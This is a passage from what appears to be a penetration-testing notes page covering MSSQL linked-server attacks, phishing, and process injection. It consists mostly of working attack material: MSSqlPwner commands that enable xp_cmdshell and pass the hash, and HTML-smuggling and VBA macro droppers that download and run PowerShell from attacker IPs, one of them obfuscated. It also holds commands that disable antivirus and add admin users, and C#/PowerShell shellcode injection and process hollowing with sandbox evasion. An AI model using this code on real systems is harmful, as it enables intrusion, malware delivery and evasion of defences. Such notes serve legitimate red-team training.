? $"SELECT value_in_use FROM OPENQUERY({server}, 'SELECT value_in_use FROM sys.configurations WHERE name = ''{option});"
: $"SELECT value_in_use FROM sys.configurations WHERE name = '{option}';";
using (SqlCommand cmd = new SqlCommand(query, con))
{
return Convert.ToInt32(cmd.ExecuteScalar()) == 1;
}
}
}
}Automating linked SQL enum and attacks
PowerUpSQL.ps1
Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM
GitHub - NetSPI/PowerUpSQL: PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server
Evil SQL Client
# First run the .exe on target machine
# Find domainspns
SQLCLIENT> discover domainspn
# Show discovered instances.
SQLCLIENT> show discovered
# List links information for accessoble target SQL Server instances.
list linksMSSQL Pwner (Best tool)
GitHub - ScorpionesLabs/MSSqlPwner
# We assume we have access to appsrv01 as a non-sa account. appsrv01 have a link to DC01. The link is bidirectional. We can use that to escalate our privileges on appsrv01.
python3 MSSqlPwner.py corp1.com/offsec:lab@192.168.229.6 -windows-auth interactive
...
[*] Discovered server principal: APPSRV01\Administrator on APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa@master/dbo)
...
# Pass the hash MSSQLPwner
MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive
# Set link server to DC01
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest)> set-link-server DC01
[*] Chosen linked server: DC01
# Execute commands. MSSQL Pwner will enable xp_cmdshell automatically if the user have rights.
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo)> exec whoami
[*] Chosen linked server: DC01
[*] Reconfiguring show advanced options
[*] Reconfiguring xp_cmdshell
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo)
[*] Result: (Key: output) corp1\sqlsvc
[*] Result: (Key: output) NULL
# Execute commands on appsrv01 through DC01
# First get the chain list
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo)> get-chain-list
[*] Chosen linked server: DC01
[*] Chain list:
[*] 995f1680-2ad4-4f50-8606-47312d5b5807 - APPSRV01 (CORP1\offsec@master/guest) (CORP1\offsec guest@master)
[*] aacabf55-4bb6-40e3-a0ce-feb406d26b1e - APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) (sa dbo@master)
[*] f74445c8-4fb7-4a68-86d8-9c14cfd9470a - APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa>I:CORP1\Administrator@master/dbo) (CORP1\Administrator dbo@master)
[*] 9f676285-ffe4-4a97-b7b4-f4f59e128a2f - APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa@master/dbo) (sa dbo@master)
[*] c7ecd747-93cf-4978-aab2-33a8864400f1 - APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa>I:APPSRV01\Administrator@master/dbo) (APPSRV01\Administrator dbo@master)
# Set the chain by using the chain ID and execute a command
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo)> set-chain c7ecd747-93cf-4978-aab2-33a8864400f1
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa>I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa>I:APPSRV01\Administrator@master/dbo)> exec whoami
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa>I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)
[*] Reconfiguring show advanced options
[*] Reconfiguring xp_cmdshell
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa>I:APPSRV01\Administrator@master/dbo)
[*] Result: (Key: output) corp1\sqlsvc
[*] Result: (Key: output) NULL
# To get a shell on appsrv01 through DC01
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa>I:APPSRV01\Administrator@master/dbo)> exec "powershell.exe -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA"
# The encoded powershell command
$text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/run.txt') | IEX"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
$EncodedText = [Convert]::ToBase64String($bytes)
$EncodedText
# run.txt is a powershell shellcode runner.
--------------------------
# From GitHub
# Interactive mode
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth interactive
# Interactive mode with 2 depth level of impersonations
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive
# Executing custom assembly on the current server with windows authentication and executing hostname command
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
# Executing the hostname command using stored procedures on the linked SRV01 server
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
# Issuing NTLM relay attack on the SRV01 server
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
# Executing direct query
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"
# Retrieving password from the linked server DC01
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
# Execute code using custom assembly on the linked server DC01
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using tickets against the hosts listed on the hosts.txt
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt
# Bruteforce using passwords against the hosts listed on the hosts.txt
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -pl passwords.txt
# Bruteforce using hashes against the hosts listed on the hosts.txt
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txtmssql-spider (Great tool)
dadevel/mssql-spider: Automated exploitation of MSSQL servers at scale (github.com)
This tool is kinda similar to mssqlpwner.
# Authentication
# As local database user.
mssql-spider -u jdoe -p 'passw0rd' -t db01.corp.local
# As local windows user.
mssql-spider -w -u administrator -p 'passw0rd' -t db01.corp.local
# As domain user via NTLM and a password.
mssql-spider -d corp.local -u jdoe -p 'passw0rd' -t db01.corp.local
# As domain user via NTLM Pass the Hash.
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -t db01.corp.local
# As domain user via Kerberos Overpass the Key.
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -k -t db01.corp.local
# As domain user via Kerberos Pass the Key.
mssql-spider -d corp.local -u jdoe -a c4c283276339e2d6b390eb5a11d419c9 -k -t db01.corp.localPhishing (Client side code exec)
REMEMBER - Check if MS word is running 64-bit or 32-bit
HTML Smuggeling
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the browser to automatically download a file when a user clicks the assigned hyperlink.
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.
# Generate a staged payload using msfvenom.
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe
# Saved it as base64 as to not lose any data.
base64 msfstaged.exe function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i
var file ="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA..."
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'msfstaged.exe';
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
BobTheSmuggler
"Bob the Smuggler" is a tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archieve and then hides inside PNG/GIF image file format (Image Polyglots). The JavaScript embedded within the HTML will download the PNG/GIF file and store it in the cache. Following this, the JavaScript will extract the data embedded in the PNG/GIF, assemble it, perform XOR decryption, and then store it as an in-memory blob.
# If you want to compress SharpHound.exe into 7z format (password protected) and store it in a HTML file, you can use the following command:
python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html
# To create an HTML file with the embedded payload hidden inside PNG file, you can use the following command:
python3 BobTheSmuggler.py -i -p -f -o -t png test.png
# Embed payload inside GIF File:
python3 BobTheSmuggler.py -i -p -f -o -t gif test.gif

Zip Sharphound and use OneDrive template.
Microsoft Office Macro Client-side Attack
REMEMBER - Check if 32-bit or 64-bit
https://blog.aghanim.net/?page_id=1809#Microsoft_Word
Visual Basic for Applications [VBA]
'VBA Datatype
'Dim is used to declare variables
Dim myString As String # Unicode
Dim myLong As Long # 64-bit integer
Dim myPointer As LongPtr # Memory pointer
'Example - if and else statement
Sub MyMacro()
Dim myLong As Long
myLong = 1
If myLong < 5 Then
MsgBox ("True")
Else
MsgBox ("False")
End If
End Sub
'Example - Launch cmd.exe with a hidden window
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Sub MyMacro()
Dim str As String
str = "cmd.exe"
Shell str, vbHide
End Sub
'The picture below show the cmd.exe running as a child process of winword.
Persistence/ Post Explotation
Linux
CheatSheet II – Advanced – BOOK_GHANIM
Windows
# Disable Anti-virus
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true
# Disable firewall
NetSh Advfirewall set allprofiles state off
# Enable RDP
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -name "fDenyTSConnections" -value 0
# Disable restricted mode in order to PTH as authentication on RDP
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0
# Create a new user
net user username password /ADD
# This will add the new user to the RDP group and local administratos group
net localgroup "Remote Desktop Users" username /add
net localgroup "Administrators" username /addPowerShell in VBA
Download cradle
Sub MyMacro()
Dim strArg As String
strArg = "powershell -exec bypass -nop -c iex((new-object
system.net.webclient).downloadstring('http://192.168.119.120/run.txt'))"
Shell strArg, vbHide
End SubWMI: Unlinking PowerShell from Office
Use WMI from VBA to create a PowerShell process instead of having it as a child process of Microsoft Word.
Remember that since this is NOT ran as a child process of MS word, the PowerShell will open in 64-bit!
Sub MyMacro
strArg = "powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring('http://192.168.119.120/run.txt'))"
GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid
End Sub
Sub AutoOpen()
MyMacro
End SubObfuscated version of WMI
- First we'll convert the strings using ToCharArray.
- The code below takes the string inside the $payload and encrypt it. So the string (powershell -exec …) is encrypted, not the content of run.txt).
$payload = "powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://192.168.119.120/run.txt'))"
[string]$output = ""
$payload.ToCharArray() | %{
[string]$thischar = [byte][char]$_ + 17
if($thischar.Length -eq 1)
{
$thischar = [string]"00" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 2)
{
$thischar = [string]"0" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 3)
{
$output += $thischar
}
}
$output | clip- The code below is the decryption routine.
Function Pears(Beets)
Pears = Chr(Beets - 17)
End Function
Function Strawberries(Grapes)
Strawberries = Left(Grapes, 3)
End Function
Function Almonds(Jelly)
Almonds = Right(Jelly, Len(Jelly) - 3)
End Function
Function Nuts(Milk)
Do
Oatmilk = Oatmilk + Pears(Strawberries(Milk))
Milk = Almonds(Milk)
Loop While Len(Milk) > 0
Nuts = Oatmilk
End Function- So combined together with
Unlinking Powershell from Wordcode above, we will get this
Function Pears(Beets)
Pears = Chr(Beets - 17)
End Function
Function Strawberries(Grapes)
Strawberries = Left(Grapes, 3)
End Function
Function Almonds(Jelly)
Almonds = Right(Jelly, Len(Jelly) - 3)
End Function
Function Nuts(Milk)
Do
Oatmilk = Oatmilk + Pears(Strawberries(Milk))
Milk = Almonds(Milk)
Loop While Len(Milk) > 0
Nuts = Oatmilk
End Function
Function MyMacro()
Dim Apples As String
Dim Water As String
'powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://192.168.119.120/run.txt'))
Apples = "129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063066063066067071064131134127063129132066056058058"
Water = Nuts(Apples)
' GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid
GetObject(Nuts("136122127126120126133132075")).Get(Nuts("104122127068067112097131128116118132132")).Create Water, Tea, Coffee, Napkin
End Function
Sub AutoOpen()
MyMacro
End SubProcess Injection
Csharp
using System;
using System.Runtime.InteropServices;
namespace Inject
{
class Program
{
// Import necessary functions from kernel32.dll
// Opens an existing local process object
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
// Reserves or commits a region of memory within the virtual address space of a specified process
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
// Writes data to an area of memory in a specified process
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
// Creates a thread that runs in the virtual address space of another process
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static void Main(string[] args)
{
// Obtain a handle to the target process. Remeber to change the process ID(4804)
IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804);
// Allocate memory in the target process's address space
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
// Define the shellcode bytes to inject
byte[] buf = new byte[591]
{
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
// ... (rest of the shellcode)
};
// Write the shellcode to the allocated memory in the target process
IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
// Create a remote thread in the target process to execute the shellcode
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}Csharp - But automatically get process ID
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace Inject
{
class Program
{
// Import necessary functions from kernel32.dll
// Opens an existing local process object
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
// Reserves or commits a region of memory within the virtual address space of a specified process
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
// Writes data to an area of memory in a specified process
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
// Creates a thread that runs in the virtual address space of another process
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static void Main(string[] args)
{
// Automatically obtain process ID
Process[] localByName = Process.GetProcessesByName("explorer");
if (localByName.Length == 0)
{
Console.WriteLine("No explorer process found.");
return;
}
int targetProcessId = localByName[0].Id;
// Obtain a handle to the target process
IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId);
// Allocate memory in the target process's address space
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
// Define the shellcode bytes to inject
byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8... [Rest of the shellcode]
};
// Write the shellcode to the allocated memory in the target process
IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
// Create a remote thread in the target process to execute the shellcode
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}Powershell
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
$procId = (Get-Process explorer).Id
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f ps1
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...[REST OF SHELLCODE]
# C#: IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, procId);
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),
(getDelegateType @([UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, 0, $procId)
# C#: IntPtr expAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);
$expAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx),
(getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, [UInt32]$buf.Length, 0x3000, 0x40)
# C#: bool procMemResult = WriteProcessMemory(hProcess, expAddr, buf, len, out bytesWritten);
$procMemResult = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory),
(getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr])([Bool]))).Invoke($hProcess, $expAddr, $buf, [Uint32]$buf.Length, [IntPtr]::Zero)
# C#: IntPtr threadAddr = CreateRemoteThread(hProcess, IntPtr.Zero, 0, expAddr, IntPtr.Zero, 0, IntPtr.Zero);
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread),
(getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $expAddr, 0, [IntPtr]::Zero)
Write-Host "Injected! Check your listener!"Process Hollowing
Process Hollowing is a method used by attackers to inject malicious code into a legitimate process while keeping the process running. This allows the attacker to hide their activities within a trusted process, potentially evading detection.
Stageless XOR'd
using System;
using System.Runtime.InteropServices;
namespace ProcessHollowing
{
public class Program
{
public const uint CREATE_SUSPENDED = 0x4;
public const int PROCESSBASICINFORMATION = 0;
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
public struct ProcessInfo
{
public IntPtr hProcess;
public IntPtr hThread;
public Int32 ProcessId;
public Int32 ThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
public struct StartupInfo
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct ProcessBasicInfo
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,
ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,
int dwSize, out IntPtr lpNumberOfbytesRW);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint ResumeThread(IntPtr hThread);
public static void Main(string[] args)
{
// AV evasion: Sleep for 10s and detect if time really passed
DateTime t1 = DateTime.Now;
Sleep(10000);
double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;
if (deltaT < 9.5)
{
return;
}
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp
// XORed with key 0xfa
byte[] buf = new byte[511] {
0x06, ...SHELLCODE HERE
};
// Start 'svchost.exe' in a suspended state
StartupInfo sInfo = new StartupInfo();
ProcessInfo pInfo = new ProcessInfo();
bool cResult = CreateProcess(null, "c:\\windows\\system32\\svchost.exe", IntPtr.Zero, IntPtr.Zero,
false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);
Console.WriteLine($"Started 'svchost.exe' in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}.");
// Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image)
ProcessBasicInfo pbInfo = new ProcessBasicInfo();
uint retLen = new uint();
long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);
IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);
Console.WriteLine($"Got process information and located PEB address of process at {"0x" + baseImageAddr.ToString("x")}. Success: {qResult == 0}.");
// Get entry point of the actual process executable
// This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))
// From the PEB (address we got in last call), we have to do the following:
// 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing
// 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C from executable address to get the offset for the PE header
// 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset
// 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address
// 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!
// 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing
byte[] procAddr = new byte[0x8];
byte[] dataBuf = new byte[0x200];
IntPtr bytesRW = new IntPtr();
bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW);
IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);
result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW);
Console.WriteLine($"DEBUG: Executable base address: {"0x" + executableAddress.ToString("x")}.");
// 2. Read the field 'e_lfanew', 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header
uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);
Console.WriteLine($"DEBUG: e_lfanew offset: {"0x" + e_lfanew.ToString("x")}.");
// 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset
uint rvaOffset = e_lfanew + 0x28;
Console.WriteLine($"DEBUG: RVA offset: {"0x" + rvaOffset.ToString("x")}.");
// 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address
uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);
Console.WriteLine($"DEBUG: RVA value: {"0x" + rva.ToString("x")}.");
// 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!
IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);
Console.WriteLine($"Got executable entrypoint address: {"0x" + entrypointAddr.ToString("x")}.");
// Carrying on, decode the XOR payload
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)((uint)buf[i] ^ 0xfa);
}
Console.WriteLine("XOR-decoded payload.");
// Overwrite the memory at the identified address to 'hijack' the entrypoint of the executable
result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW);
Console.WriteLine($"Overwrote entrypoint with payload. Success: {result}.");
// Resume the thread to trigger our payload
uint rResult = ResumeThread(pInfo.hThread);
Console.WriteLine($"Triggered payload. Success: {rResult == 1}. Check your listener!");
}
}
}Stageless 2
//https://github.com/mvelazc0/defcon27_csharp_workshop/tree/master/Labs/lab7
using System.Diagnostics;
using System.Runtime.InteropServices;
using System;
using System.Text;
using System.Threading;
public class Program
{
const int PROCESS_CREATE_THREAD = 0x0002;
const int PROCESS_QUERY_INFORMATION = 0x0400;
const int PROCESS_VM_OPERATION = 0x0008;
const int PROCESS_VM_WRITE = 0x0020;
const int PROCESS_VM_READ = 0x0010;
//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openthread
[DllImport("kernel32.dll")]
//static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-suspendthread
[DllImport("kernel32.dll")]
static extern uint SuspendThread(IntPtr hThread);
//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-resumethread
[DllImport("kernel32.dll")]
static extern int ResumeThread(IntPtr hThread);
//https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwunmapviewofsection
[DllImport("ntdll.dll", SetLastError = true)]
